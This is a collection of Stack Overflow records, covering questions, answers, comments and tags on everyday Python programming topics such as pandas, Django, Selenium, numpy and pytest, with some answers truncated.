has body: Currently trying to figure out how to use Google's speech recognition on audio streaming from a URL. So far I've got the URL to play audio through Python with VLC, to test that I could actually stream that audio at all, but now I'm not quite sure what to do. The closest example I've found was Google's example code on using their speech recognition on audio streaming from a microphone, but I'm not sure how to transfer that over to audio from a URL. Any tips? Thanks!
answer count: 0
type: UnansweredQuestion
tagged with: google-speech-api
type: Question

http://stackoverflow.com/a/58676216
score: 0
has body: I have solved this issue by making sure to run pyinstaller inside a virtual environment with all the required libraries included in. Create and activate venv: python3 -m venv venv source venv/bin/activate Install pyinstaller and required libraries inside the venv: pip install pyinstaller Then bundle: pyinstaller myfile.py --onefile
answers question: http://stackoverflow.com/q/48798877
type: Answer

http://stackoverflow.com/a/48687913
type: Answer
upvote count: 1
has body: try this: I added a board log array to monitor which positions contain user input, and then in the winner function cross reference said array to validate win criteria board = [0,1,2, 3,4,5, 6,7,8] boardLog = [0, 0, 0, 0, 0, 0, 0, 0, 0] player = 'a' #with this we'll know which player's turn it is def tic_tac_toe (): print ('|' ,board[0],'|',board[1] ,'|', board[2],'|') print ('--------------------') print ('|' ,board[3],'|',board[4] ,'|', board[5],'|') print ('--------------------') print ('|' ,board[6],'|',board[7] ,'|', board[8],'|') def move(x1,x2): board[x2] = x1 boardLog[x2] = 1 tic_tac_toe() def odd (x, x2): while (x%2==0): x = int(input ('enter an odd number')) #Nothing here because if we get out of the while is because it's a valid number (we're not checking numbers out of range or anything) move (x ,x2) def even (x ,x2) : while (x%2!=0): x = int(input ('enter an even number')) #Same here move (x ,x2) def winner(): if (boardLog[0] + boardLog[1] + boardLog[2] == 3): if (board[0]+board [1]+board[2]==15): print ('you are the winner') return True if (boardLog[0] + boardLog[3] + boardLog[6] == 3): if (board[0]+board [3]+board[6]==15): print ('you are the winner') return True if (boardLog[1] + boardLog[4] + boardLog[7] == 3): if (board[1]+board [4]+board[7]==15): print ('you are the winner') return True if (boardLog[3] + boardLog[4] + boardLog[5] == 3): if (board[3]+board [4]+board[5]==15): print ('you are the winner') return True if (boardLog[2] + boardLog[5] + boardLog[8] == 3): if (board[2]+board [5]+board[8]==15): print ('you are the winner') return True if (boardLog[6] + boardLog[7] + boardLog[8] == 3): if (board[6]+board [7]+board[8]==15): print ('you are the winner') return True else: return False def turn(s): print ('its '+ s +' turn') x = int (input ('enter the number: ')) x1 = int (input ('enter the places number: ')) if player == 'a': even(x, x1) else: odd(x, x1) print('Tic Tac Toe') print ('player A should enter even numbers only'+' and player B should …
accepted answer of: http://stackoverflow.com/q/48682011
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48682011

http://stackoverflow.com/comment/84456519
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48728737
score: 0
has text: @avigil: This problem is not as hard as that one. (And it isn’t about subsets of {1, …, 100}.)

http://stackoverflow.com/a/48755163
has body: I'd suggest: while 1: captcha = get_captcha() request = post_captcha(captcha) start = time.time() while 1: response = poll_for_result(request) if start + 120 &lt; time.time(): time_is_up() break if response: return deal_with_response(response)
score: 0
answers question: http://stackoverflow.com/q/48755027
type: Answer

http://stackoverflow.com/a/48709704
has body: What does ulimit -n say on your Mac? This is the limit on the number of open files. Try then running ulimit -n N for some larger N than what it was previously, and run the hg command again. You may want to put the ulimit -n N command in your ~/.bashrc to run it every time you log in, if you have this problem more than just this once.
downvote count: 0
score: 7
has comment: http://stackoverflow.com/comment/84422634
upvote count: 7
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48709660
answers question: http://stackoverflow.com/q/48709660
type: Answer

http://stackoverflow.com/comment/84427757
type: QuestionComment
has text: I hope that `if ret!= 0, retry` is just pseudocode, otherwise that is definitely incorrect.
score: 1
comment on: http://stackoverflow.com/q/48714162
type: Comment

http://stackoverflow.com/q/48796131
has body: for example: driver.find_element_by_css_selector('#yes') # wait until it's done loading and then it'll be available to click again driver.find_element_by_css_selector('#yes') this is the loading element when it's not loading. When it's loading display: block &lt;div id="loading" style="display: none;"&gt;
score: 0
upvote count: 1
downvote count: 1
answer count: 1
favorite count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84596337
accepted answer: http://stackoverflow.com/a/48797304
type: AnsweredQuestion
tagged with: selenium
has title: Python selenium. How do I tell selenium to wait until a key is clickable?
tagged with: webdriver
has comment: http://stackoverflow.com/comment/84603193
has answer: http://stackoverflow.com/a/48797304
type: Question

http://stackoverflow.com/comment/84475176
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48737563
has text: The value of the jackpot is supposed to be rising with the rounds that are being played. So my final output should print the total of the jackpot. Everything is correct, I just don't understand why my value stays the same and isn't rising with the rounds played. The out put should display that after 1 round with 10 players betting $5 that the jackpot value is $50 . After 2 rounds the value should then be 95 instead of $50. Each round a player drops out and a new total jackpot is created. I hope this make sense...

http://stackoverflow.com/comment/140051249
comment on: http://stackoverflow.com/q/48650192
type: QuestionComment
has text: What's the use case? Derive anything you serialize from `BigEndianStructure` or `LittleEndianStructure` and it will serialize as expected.
score: 0
type: Comment

http://stackoverflow.com/a/48917471
upvote count: 2
has comment: http://stackoverflow.com/comment/84870178
answers question: http://stackoverflow.com/q/48738119
type: Answer
has comment: http://stackoverflow.com/comment/84853011
score: 2
downvote count: 0
has body: Design considerations regarding contention In general, I completely agree with Dan's answer to your original question, although in your particular use-case it might be reasonable to go with large entity-groups. Contention errors may occur at more than 1 write op per second to the same entity group, e.g. a particular wallet. This limitation also applies to entities that have been read from Datastore inside a Datastore transaction with-out writing them back explicitly (my understanding is that they are written together with the modified entities for serializability). Although, the 1 second rule is not an enforced limit, and in my experience Cloud Datastore typically can handle short bursts slightly above this limit, there is no guarantee and it generally is recommended and best-practice to avoid large entity groups, especially where the write-ops don't originate from the same user. In contrast, it could be safe to store all comments posted by a user in the same entity-group (author = parent), because it is very unlikely and perhaps even undesirable, that a user could post more than one comment per second. Another example could be background tasks that are not time-sensitive and not user-facing, where the write-ops to an entity group is orchestrated per entity-group, or at least can significantly back off the write-op if contention occurs. In situations where new entities are added at a suddenly very high rate, contention errors can also be caused by monotonically increasing keys/IDs, or by indexed properties and composite indexes, where the indexed values are too close to each other (e.g. timestamps). It is recommended to let Datastore automatically create IDs of new entities (e.g. the user IDs), because Datastore will spread the keys far enough. And either avoid indexing properties where monotonically increasing values can occur or prefix the value with a hash. The Cloud Datastore article Best Practices includes a section about Designing for scale that provides very …
has comment: http://stackoverflow.com/comment/84852351
has comment: http://stackoverflow.com/comment/84876687

http://stackoverflow.com/q/48753767
answer count: 0
type: UnansweredQuestion
type: Question
has body: I have a numpy.ndarray that is (10L,). I understand that (,) in python means tuple, but when I ask the type of the object, it returns that it is a numpy.ndarray. Why is that? So, I thought I had a 10 X 1 Matrix, but now I feel maybe it is like a list?? Input: type(summary_data) Output: numpy.ndarray Input: summary_data.shape Output: (10L,) Input: summary_data.shape[0] Output: 10L Input: summary_data.shape[1] Output: IndexError: tuple index out of range
score: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84508701
has comment: http://stackoverflow.com/comment/84508532
has comment: http://stackoverflow.com/comment/84508296
has comment: http://stackoverflow.com/comment/84508563
has comment: http://stackoverflow.com/comment/84508346
has title: I have a numpy.ndarray, why does the shape return a tuple
tagged with: numpy

bluetooth
tags question: http://stackoverflow.com/q/48709432
tags question: http://stackoverflow.com/q/48681366
tag name: bluetooth
type: Tag
tags question: http://stackoverflow.com/q/48742985

http://stackoverflow.com/comment/84595929
has text: Thank you! that definitely makes sense to me! It had just never occurred to me that I could do it this way. I was essentially finding the palindromes in a list, then making the reverse of that list, then finding the palindromes in that new list that fit the criteria and I just ended up with a bit of a mess as you can see. This is much nicer.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48796579
type: Comment

http://stackoverflow.com/q/48755877
has answer: http://stackoverflow.com/a/48755969
tagged with: python
has title: Python: Repeat lines of a dataframe
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48755969
type: Question
has body: I want to repeat the lines of a dataframe such that the id remains unique by appending an index to the id. import pandas as pd df = pd.DataFrame({"id": ["a1", "a2"], "value": [["x", "y", "z"], ["x"]]}) Out[31]: id value 0 a1 [ x, y, z] 1 a2 [x] I want to get the following. id value 0 a1-1 x 1 a1-2 y 2 a1-3 z 3 a2-1 x I able to repeat the lines using np.repeat but not able to keep the id unique. out = pd.DataFrame(df.drop(["value"], axis=1).values.repeat([3,1], axis=0))
tagged with: dataframe
score: 0
tagged with: pandas
answer count: 1

http://stackoverflow.com/a/48679401
upvote count: 3
has comment: http://stackoverflow.com/comment/84356182
has comment: http://stackoverflow.com/comment/84356155
has body: here you can try this one : import re s = re.compile(r"[+-]?\d+(?:\.\d+)?") a1 = "25 mm" b1 = "-25 mm" c1 = "s-25" d1 = "s25-" print(s.search(d1).group(0)) print(s.search(b1).group(0)) print(s.search(c1).group(0)) print(s.search(a1).group(0)) it gives the o/p like this : 25 #d1 -25 #b1 -25 #c1 25 #a1
accepted answer of: http://stackoverflow.com/q/48679279
downvote count: 0
answers question: http://stackoverflow.com/q/48679279
type: AcceptedAnswer
type: Answer
score: 3

http://stackoverflow.com/a/48723463
answers question: http://stackoverflow.com/q/48714587
has comment: http://stackoverflow.com/comment/84446457
upvote count: 2
has comment: http://stackoverflow.com/comment/84446687
has comment: http://stackoverflow.com/comment/84446267
type: Answer
has body: Alright, so I did actually stumble a few times trying to sort this out but I think I've got it. What I did was create two recycle views and a CustomLabel that has access to ButtonBehaviors so you can use 'on_press' instead of 'on_touch_down' (which propagates through the entire tree rather than the interacted with element). Example Video The py file: from kivy.app import App from kivy.uix.recycleview import RecycleView from kivy.uix.label import Label from kivy.uix.behaviors import ButtonBehavior from kivy.uix.floatlayout import FloatLayout # Create a Custom ButtonLabel that can use on_press class ButtonLabel(ButtonBehavior, Label): # App.get_running_app() lets us traverse all the way through our app from # the very top, which allows us access to any id. In this case we are accessing # the content of our selected_list_view of our app @property def selected_list_content(self): return App.get_running_app().root.ids.selected_list.ids.content # And in this case, we're accessing the content of our deselected_list_view @property def deselected_list_content(self): return App.get_running_app().root.ids.deselected_list.ids.content # This is our callback that our Label's will call when pressed def change_location(self): # If the label's parent is equal* the selected list, we remove the label from its # parent, and then we add it to the other list if self.parent == self.selected_list_content: self.parent.remove_widget(self) self.deselected_list_content.add_widget(self) # If the label's parent is not the selected list, then it is the deselected list # so we remove it from its parent and add it to the selected list else: self.parent.remove_widget(self) self.selected_list_content.add_widget(self) #* Note: Kivy uses weak references. This is why we use ==, and not 'is' # We create a CustomRecycleView that we will define in our kv file class CustomRecycleView(RecycleView): pass class MainWindow(FloatLayout): pass class ExampleApp(App): def build(self): # We create an instance of the…
score: 2
downvote count: 0

http://stackoverflow.com/q/48784998
linked to: http://stackoverflow.com/q/20609581
linked to: http://stackoverflow.com/q/42562734
tagged with: pycharm
answer count: 0
score: 1
has title: Use a single iPython console to run files and parts of code in PyCharm
upvote count: 1
type: Question
tagged with: ipython
has body: I started using Pycharm and managed to have the python prompt running after a file is run (link) and I found how to run pieces of code in the current iPython console (link). For data science, however, it is very convenient to have a single iPython console/Python kernel where I can run files and code, just like Spyder does, and continue using the same started python kernel. For example to load a big amount of data with a script and write another script or pieces of code for plotting in different ways, exploring the data. Is there a way in Pycharm to do it? I think that it would imply generating automatically and running a line like: runfile('C:/temp/my_project/src/console/load_data.py', wdir='C:/temp/my_project/src') If the option does not exist, is it possible to make a macro or similar to do it? The option "Single instance only" in Edit configurations doesn't help.
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84575875
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84581375
tagged with: python

http://stackoverflow.com/a/56796229
upvote count: 7
score: 7
has body: I ran into this issue as well. For me, there were a few problems that had to be ironed out The lambda needs VPC permissions. The ElastiCache security group needs an inbound rule from the Lambda security group that allows communication on the Redis port. I thought they could just be in the same security group. And the real kicker: I had turned on encryption in-transit. This meant that I needed to pass redis.RedisClient(... ssl=True). The redis-py page mentions that ssl_cert_reqs needs to be set to None for use with ElastiCache, but that didn't seem to be true in my case. I did however need to pass ssl=True. It makes sense that ssl=True needed to be set but the connection was just timing out so I went round and round trying to figure out what the problem with the permissions/VPC/SG setup was.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48646923

http://stackoverflow.com/a/48695626
downvote count: 1
upvote count: 0
has body: You can use Pipeline combined with GridSearchCV to select the best parameters and algorithm based on scoring criteria. In particular, for feature selection, you use classes under scikit's dimension reduction or feature selection here. For example of use, you can find it here.
type: Answer
score: -1
answers question: http://stackoverflow.com/q/48682394

http://stackoverflow.com/q/48724038
favorite count: 0
has title: Not working requests.post to login into website - specifying URL
has comment: http://stackoverflow.com/comment/84449681
tagged with: python
type: AnsweredQuestion
has body: I am trying to login into a website to scrap some data. It works when using scrapy.FormRequest.from_response{...} and specifiyng the formElement with xpath. However, I am somehow forced to use the requests library. I have not been able to address the formElement correctly using # Login Information payload = {'login': USER_NAME, 'pwd': PASSWORD} # Login login_response = request_session.post(LOGIN_URL, data=payload) where the LOGIN_URL ends with LOGIN_URL = ".../authentication?action=2" I am very new to these things. I have tried a lot of things. I have read (here) that I might have to specify the URL better. Here is a fragment of the page's HTML code containing the complete form. Login Password Being this my first post I hope that it is clear enough and I hope that somebody can help me. Thanks!
downvote count: 0
score: 1
tagged with: python-requests
type: Question
linked to: http://stackoverflow.com/q/11892729
upvote count: 1
has answer: http://stackoverflow.com/a/48751985
accepted answer: http://stackoverflow.com/a/48751985
answer count: 1

http://stackoverflow.com/a/48731548
has comment: http://stackoverflow.com/comment/84462769
accepted answer of: http://stackoverflow.com/q/48731466
has comment: http://stackoverflow.com/comment/84462425
type: Answer
answers question: http://stackoverflow.com/q/48731466
has comment: http://stackoverflow.com/comment/84468177
has comment: http://stackoverflow.com/comment/84464636
has body: You can try below code to scroll page up: from selenium.webdriver.common.keys import Keys self.web_driver.find_element_by_tag_name('body').send_keys(Keys.HOME) Another way (preferred) you can scroll up to required element: element = self.web_driver.find_element_by_xpath('SOME_XPATH') # you can use ANY way to locate element coordinates = element.location_once_scrolled_into_view # returns dict of X, Y coordinates self.web_driver.execute_script('window.scrollTo({}, {});'.format(coordinates['x'], coordinates['y']))
score: 15
upvote count: 15
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84464988

http://stackoverflow.com/a/48722150
type: Answer
answers question: http://stackoverflow.com/q/48721295
has body: You must read from io in the response with getvalue(), since you're writing document to io. response = HttpResponse(f.getvalue(), content_type='application/vnd.openxmlformats-officedocument.wordprocessingml.document') Or you can write directly to response as @paleolimbot pointed out.
has comment: http://stackoverflow.com/comment/84443899
score: 0

http://stackoverflow.com/comment/84558212
has text: How do the edge directions relate to the clustering decisions? If you remove the directionality and have mere double-edges between nodes, than about *any* graph clustering algorithm will find that single cut point. BTW, a search on "graph cluster cut" should get you a lot of references.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48778259

http://stackoverflow.com/comment/84601262
type: AnswerComment
comment on: http://stackoverflow.com/a/48699366
type: Comment
has text: The issue was with my python version. I installed 32-bit version of python and it worked. https://code.soundsoftware.ac.uk/projects/vampy-host also confirms it
score: 0

pyodbc
tags question: http://stackoverflow.com/q/48682093
tags question: http://stackoverflow.com/q/48671287
tags question: http://stackoverflow.com/q/48692857
tags question: http://stackoverflow.com/q/48742787
type: Tag
tags question: http://stackoverflow.com/q/48704000
tags question: http://stackoverflow.com/q/48691573
tags question: http://stackoverflow.com/q/48725756
tags question: http://stackoverflow.com/q/48774516
tag name: pyodbc

http://stackoverflow.com/q/48688494
type: UnansweredQuestion
score: 2
has body: I want to create an application that checks if word that the user typed in contains word/words from a separate text file (e.g. input = 'teeth', separate file contains the word 'eet') it should return True regardless of the sequence of the characters. I looked at this thread matching all characters in any order in regex which is cool as it's working using set(). Problem is, set() doesn't allow you to use repeated characters(e.g. eeet, aaat). I would like to know how should I approach this problem?
type: Question
has answer: http://stackoverflow.com/a/48688923
answer count: 2
linked to: http://stackoverflow.com/q/8123131
has comment: http://stackoverflow.com/comment/84375739
has title: Python String Search Regardless Of Character Sequence
has comment: http://stackoverflow.com/comment/84374904
upvote count: 3
downvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48688601
has comment: http://stackoverflow.com/comment/84375924
favorite count: 0

http://stackoverflow.com/comment/112463117
type: Comment
has text: Hey, Iam trying to follow these same configuration file with code folder name different at all the places. Step 8/21 : RUN echo "daemon off;" >> /etc/nginx/nginx.conf ---> Running in 876f489fc21c /bin/sh: 1: cannot create /etc/nginx/nginx.conf: Directory nonexistent Getting this error while building the image. Can you plz help me out here . Thanks
comment on: http://stackoverflow.com/a/48748753
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84443332
score: 0
type: AnswerComment
type: Comment
has text: Interesting to look at.
comment on: http://stackoverflow.com/a/48722258

http://stackoverflow.com/q/48721079
tagged with: structure
has title: getattr on a ctypes structure returns a handle and not a value
type: AnsweredQuestion
downvote count: 0
score: 1
type: Question
tagged with: struct
tagged with: ctypes
answer count: 2
has answer: http://stackoverflow.com/a/48742423
upvote count: 1
accepted answer: http://stackoverflow.com/a/48737622
possible better answer: http://stackoverflow.com/a/48742423
favorite count: 0
has body: The below code snippet seems to be returning a handle instead of a value while getting the c_int attribute of my ctypes structure. How can the method get_val be changed to return the value of either o_num or o_str? import ctypes class my_struct(ctypes.Structure): _fields_=[('o_num',ctypes.c_int),('o_str',ctypes.c_wchar_p),('o_bool',ctypes.c_int),('o_err',ctypes.c_int)] class my_substruct(ctypes.Structure): _fields_=[('rows',ctypes.c_int),('columns',ctypes.c_int),('next',ctypes.POINTER(my_struct))] my_struct._fields_.append(('array',my_substruct)) class oper(ctypes.Union): _fields_=[('val',my_struct),('type',ctypes.c_wchar_p)] _mapping_={'num':'o_num','string':'o_str'} def get_val(self): return getattr(self.val,self._mapping_[self.type]) aa=my_struct(o_str='hello') a=oper(aa,'string') print(a.get_val()) bb=my_struct(o_num=33) b=oper(bb,'num') print(b.get_val()) print(bb.o_num) and for some reasons i dont understand this returns hello 263314768 ===> this looks like a handle but WHY ??? 33 Further to Mark's answer i've also tested with the below change: class oper(ctypes.Union): _fields_=[('val',my_struct),('type',ctypes.c_int)] _mapping_={0:'o_num',1:'o_str'} but this provides me with an equally weird result: hello 0 ===> this is equally weird 33
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48737622
tagged with: python

http://stackoverflow.com/a/48754193
has body: Here is my attempt to "improve" your original solution. My solution has the benefit of not needing to perform two (possibly very time consuming) operations all over again for each value in the array: np.where(arr==n) (1. find all values equal to n; 2. find indices of elements for which previous equality is true). values, inverse, counts = np.unique(arr, return_inverse=True, return_counts=True) rows = np.argsort(inverse) // len(arr[0]) cumsum = np.cumsum(counts) avranks = np.add.reduceat(rows, cumsum - cumsum[0]) / counts Then, for your original data, &gt;&gt;&gt; print(avranks) [0.5 1. 1.5]
has comment: http://stackoverflow.com/comment/84510749
has comment: http://stackoverflow.com/comment/84512089
has comment: http://stackoverflow.com/comment/84510604
answers question: http://stackoverflow.com/q/48749671
score: 0
type: Answer

http://stackoverflow.com/a/48733187
type: Answer
answers question: http://stackoverflow.com/q/48733083
score: 0
type: AcceptedAnswer
has body: In your code you are comparing len(sys.argv) with a string: if len(sys.argv) == "5": func1() func3() elif len(sys.argv) == "8": func2() func3() changing to if len(sys.argv) == 5: func1() func3() elif len(sys.argv) == 8: func2() func3() should do the trick
accepted answer of: http://stackoverflow.com/q/48733083

http://stackoverflow.com/a/48749404
downvote count: 0
score: 1
has body: You are indicing to the first element of each of your lists. Your for loops do give you access to the other objects each time, but your nested loop then ignores those elements. When you use for i in output[0]['result']: i is bound to each element in the 'result' list, one by one, and you print out the marketId value for those. But your next loop, then ignores all but the first one of those dictionaries: for j in output[0]['result'][0]['runners']: Here, output[0]['result'][0] is the first object bound to i in the outer loop. So for each i, you ignore the object (apart from using the 'markedId' key), and then only look at the runners for the first such object. Use the 'runners' key of i instead: for i in output[0]['result']: print(i.get('marketId')) for j in i['runners']: # i is the object from the outer loop print(j.get('selectionId')) # ... i is first bound to output[0]['result'][0], then to output[0]['result'][1], etc., so i['runners'] now follows along and lets you process the correct substructure. Do so for each nesting level; j is another dictionary, so use j['ex']['availableToBack'], etc. You don't need to nest your for loops for the availableToBack and availableToLay entries either, ex contains just one dictionary object, and it has those two keys (which reference lists). You don't need to produce output for all availableToLay prices for each price in availableToBack. It's easier to see all this if you pretty-print the Python data structure: &gt;&gt;&gt; pprint(output) [{'id': 1, 'jsonrpc': '2.0', 'result': [{'betDelay': 0, 'bspReconciled': False, 'complete': True, 'crossMatching': True, 'inplay': False, 'isMarketDataDelayed': True, 'lastMatchTime': '2018-02-12T10:56:09.726Z', 'marketId': '1.139185909', 'numberOfActiveRunners': 3, 'numberOfRunners': 3, 'numberOfWinners': 1, 'runners': [{'ex': {'availableToBack': [{'price': 1.39, 'size': 56703.76}], 'availableToLay': [{'price': 1.4, 'size': 35537.54}], 'tradedVolume': []}, 'handicap': 0.0, 'lastPriceTraded': 1.…
answers question: http://stackoverflow.com/q/48749261
accepted answer of: http://stackoverflow.com/q/48749261
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/84592277
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48794821
type: Comment
has text: Works perfectly! Thanks!

http://stackoverflow.com/q/48799404
possible better answer: http://stackoverflow.com/a/48799483
has answer: http://stackoverflow.com/a/48799642
type: AnsweredQuestion
tagged with: list
type: Question
upvote count: 2
downvote count: 2
has title: How to create a random list of lists
has answer: http://stackoverflow.com/a/48799483
has body: How can you create a random list of lists. The random.sample(range(80), 10) produces a list of 10 items up to 80. Example Output: [1,4,6,44,78,45,32,56,72,23] But can can you add more data so it is a list of lists? Desired Output: [1,4,6,44,78,45,32,56,72,23] [1,4,6,44,78,45,32,56,72,23] [1,4,6,44,78,45,32,56,72,23] [1,4,6,44,78,45,32,56,72,23] [1,4,6,44,78,45,32,56,72,23] [1,4,6,44,78,45,32,56,72,23]
favorite count: 0
score: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/48799415
tagged with: python
has comment: http://stackoverflow.com/comment/84601609
has answer: http://stackoverflow.com/a/48799415

http://stackoverflow.com/a/48670582
score: 3
downvote count: 0
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48670101
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48670101
has body: You will need to do something like this in your web/articles-details.html file: {% for article in Articles_rh_details.categories.categories_for_articles.all %} &lt;p&gt;{{ article.para_one }}&lt;/p&gt; {% endfor %} Now, why is that: Articles_rh_details is how you named your Articles_rh model instance in the ArticlesDetailView, via the context_object_name attribute. From that, we can access the Articles_rh's property categories, which is your relationship with the Categories_rh model. In this relationship, you set the related_name attribute to categories_for_articles. This is actually the name of the reverse relationship of all articles associated with this particular category. Since it will return a QuerySet, we have either to call the all() method, or filter(), or order_by(), etc. But, since we are in the template, not much we can do but call the all() method. The final result will be a list of all articles associated with this category. I would recommend you to renamed this reverse relationship (the related_name) to just articles instead of categories_for_articles. It will read more natural. Also the categories relationship would read more natural if it was category (singular) instead, since the relationship is with only one category. And finally, the context_object_name could be just article instead. That way you would access the desired group of articles like this: {% for related_article in article.category.articles.all %} {{ related_article.para_one }} {% endfor %} Just some general advices to improve the readability of your code. :-)
has comment: http://stackoverflow.com/comment/84340103
type: Answer

http://stackoverflow.com/comment/84407921
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48702550
has text: I dont have a problem. It was just a question.
score: 9

http://stackoverflow.com/q/48780201
has comment: http://stackoverflow.com/comment/84562985
tagged with: django
tagged with: python
type: AnsweredQuestion
tagged with: jwt
score: 1
accepted answer: http://stackoverflow.com/a/48781476
upvote count: 1
has comment: http://stackoverflow.com/comment/84564120
has comment: http://stackoverflow.com/comment/84562613
type: Question
has comment: http://stackoverflow.com/comment/84564082
has comment: http://stackoverflow.com/comment/84564382
has comment: http://stackoverflow.com/comment/84564219
tagged with: django-rest-framework
has body: I have a generic model called 'Phone': (my_project/apps/phones/models.py) class Phone(Model): owner_name = CharField(max_length=50) number = CharField(max_length=20) content_type = ForeignKey(ContentType, on_delete=CASCADE) object_id = PositiveIntegerField() phone_object = GenericForeignKey('content_type', 'object_id') I also have a model called 'Client': (my_project/apps/clients/models.py) class Client(Model): employee = ForeignKey(Employee, on_delete=CASCADE) title = CharField(max_length=50) phones = GenericRelation(Phone) I also have a serializer for 'Client': (my_project/apps/clients/serializers.py) class ClientSerializer(ModelSerializer): id = IntegerField(read_only=True) employee_id = PrimaryKeyRelatedField(queryset=Employee.objects.all(), source='employee', required=True) title = CharField(required=True) I followed drf-documenation (http://www.django-rest-framework.org/api-guide/relations/#generic-relationships), and as I understood I need to put custom class in the same file, so here is how my clients/serializers.py looks like: (my_project/apps/clients/serializers.py) class ClientSerializer(ModelSerializer): id = IntegerField(read_only=True) employee_id = PrimaryKeyRelatedField(queryset=Employee.objects.all(), source='employee', required=True) title = CharField(required=True) class PhoneObjectRelatedField(RelatedField): def to_representation(self, value): if isinstance(value, Client): serializer = ClientSerializer(value) else: raise Exception('Unexpected type of phone_object') return serializer.data For requests I am using PostMan, so here is my request to Create new Client with phone number: But it does nothing, new Clients can be created successfully but they just don't contain any phone numbers, please help!
has comment: http://stackoverflow.com/comment/84564321
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48781476
tagged with: postman
favorite count: 0
has title: How to provide proper request body to serialize Django Generic Foreign Key?

http://stackoverflow.com/a/48721834
has comment: http://stackoverflow.com/comment/103813387
type: Answer
downvote count: 1
has body: pytest always searches recursively unless you tell it otherwise (with the norecursedirs option). If pytest is failing to collect some of your tests, double check that: the test files are somewhere under the testpaths configuration pattern (default: the current directory), the test files match the python_files configuration pattern (default: test_*.py and *_test.py), the test classes match the python_classes configuration pattern (default: Test*), and the test functions match the python_functions configuration pattern (default: test*).
score: 17
upvote count: 18
answers question: http://stackoverflow.com/q/48719606

data-structures
tags question: http://stackoverflow.com/q/48646560
tags question: http://stackoverflow.com/q/48718182
tags question: http://stackoverflow.com/q/48792300
tag name: data-structures
tags question: http://stackoverflow.com/q/48658298
tags question: http://stackoverflow.com/q/48713545
tags question: http://stackoverflow.com/q/48718962
tags question: http://stackoverflow.com/q/48769149
tags question: http://stackoverflow.com/q/48802297
tags question: http://stackoverflow.com/q/48721391
tags question: http://stackoverflow.com/q/48762837
tags question: http://stackoverflow.com/q/48705567
tags question: http://stackoverflow.com/q/48792474
tags question: http://stackoverflow.com/q/48692641
tags question: http://stackoverflow.com/q/48729392
tags question: http://stackoverflow.com/q/48763137
type: Tag
tags question: http://stackoverflow.com/q/48790414

http://stackoverflow.com/comment/84303192
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48652482
has text: ok, i don't think its discoverable how you mean. what you probably need to do is slice up the json url you know, and start swapping out different sections. probably the id is one to start with.
score: 0

http://stackoverflow.com/q/48752794
tagged with: excel
has answer: http://stackoverflow.com/a/51025845
type: Question
has answer: http://stackoverflow.com/a/48753547
linked to: http://stackoverflow.com/q/38524770
has title: Django-importing excel file into django models
score: 0
has body: I need user to upload an excel file via the form provided and i need to process that uploaded excel file to save the data in my model. models.py class Patient_Record(models.Model): Patient_id=models.IntegerField(unique=True) Patient_sex=models.CharField(max_length=1,choices=Gender) Patient_name=models.CharField(max_length=20) Patient_sugar=models.DecimalField(decimal_places=3,max_digits=6) Patient_chlorestrol=models.DecimalField(decimal_places=3,max_digits=6) Patient_iron=models.DecimalField(decimal_places=3,max_digits=6) Patient_haemoglobin=models.DecimalField(decimal_places=3,max_digits=6) def __str__(self): return self.pat_name I have simple form to upload the file. &lt;form method="POST" class="post-form" action="../Uploaded_file" enctype="multipart/form-data" name="myfile"&gt;{% csrf_token %} {{ upload_form.as_p }} &lt;input type="submit" value="Upload" name="Upload" class="btn btn-primary"&gt; &lt;/form&gt; Can someone help me with the code to parse a excel file using POST to this model. I tried using many different methods but couldn't succeed in it.
answer count: 3
type: UnansweredQuestion
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/51043299

http://stackoverflow.com/comment/84434371
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48717626
type: Comment
has text: What does this mean? "I want insert data to my dynamic columns". Sample data and desired results would help.

countvectorizer
type: Tag
tags question: http://stackoverflow.com/q/48754078
tag name: countvectorizer

http://stackoverflow.com/comment/84519768
has text: the output is Q - - - - - - Q - - - - - Q -
comment on: http://stackoverflow.com/q/48759567
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48827952
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48790660
answers question: http://stackoverflow.com/q/48790660
has comment: http://stackoverflow.com/comment/84692992
has body: Does this help? (I didn't test it though.) @pytest.fixture async def communicator(db): path = 'foo' communicator = WebsocketCommunicator(MyConsumer, path) connected, subprotocol = await communicator.connect() assert connected return communicator @pytest.mark.asyncio async def test_1(communicator): sent = json.dumps({"message": 'abc'}) await communicator.send_to(text_data=sent) with pytest.raises(TimeoutError): await communicator.receive_from() await communicator.send_input({ "type": "websocket.disconnect", "code": 1000, }) @pytest.mark.asyncio async def test_2(communicator): sent = json.dumps({"message": 1}) await communicator.send_to(text_data=sent) with pytest.raises(TimeoutError): await communicator.receive_from() await communicator.send_input({ "type": "websocket.disconnect", "code": 1000, })
type: AcceptedAnswer
downvote count: 0
score: 1

http://stackoverflow.com/q/48721893
type: Question
upvote count: 0
has answer: http://stackoverflow.com/a/48724158
tagged with: label
favorite count: 0
tagged with: http://stackoverflow.com/tag/pdf
answer count: 1
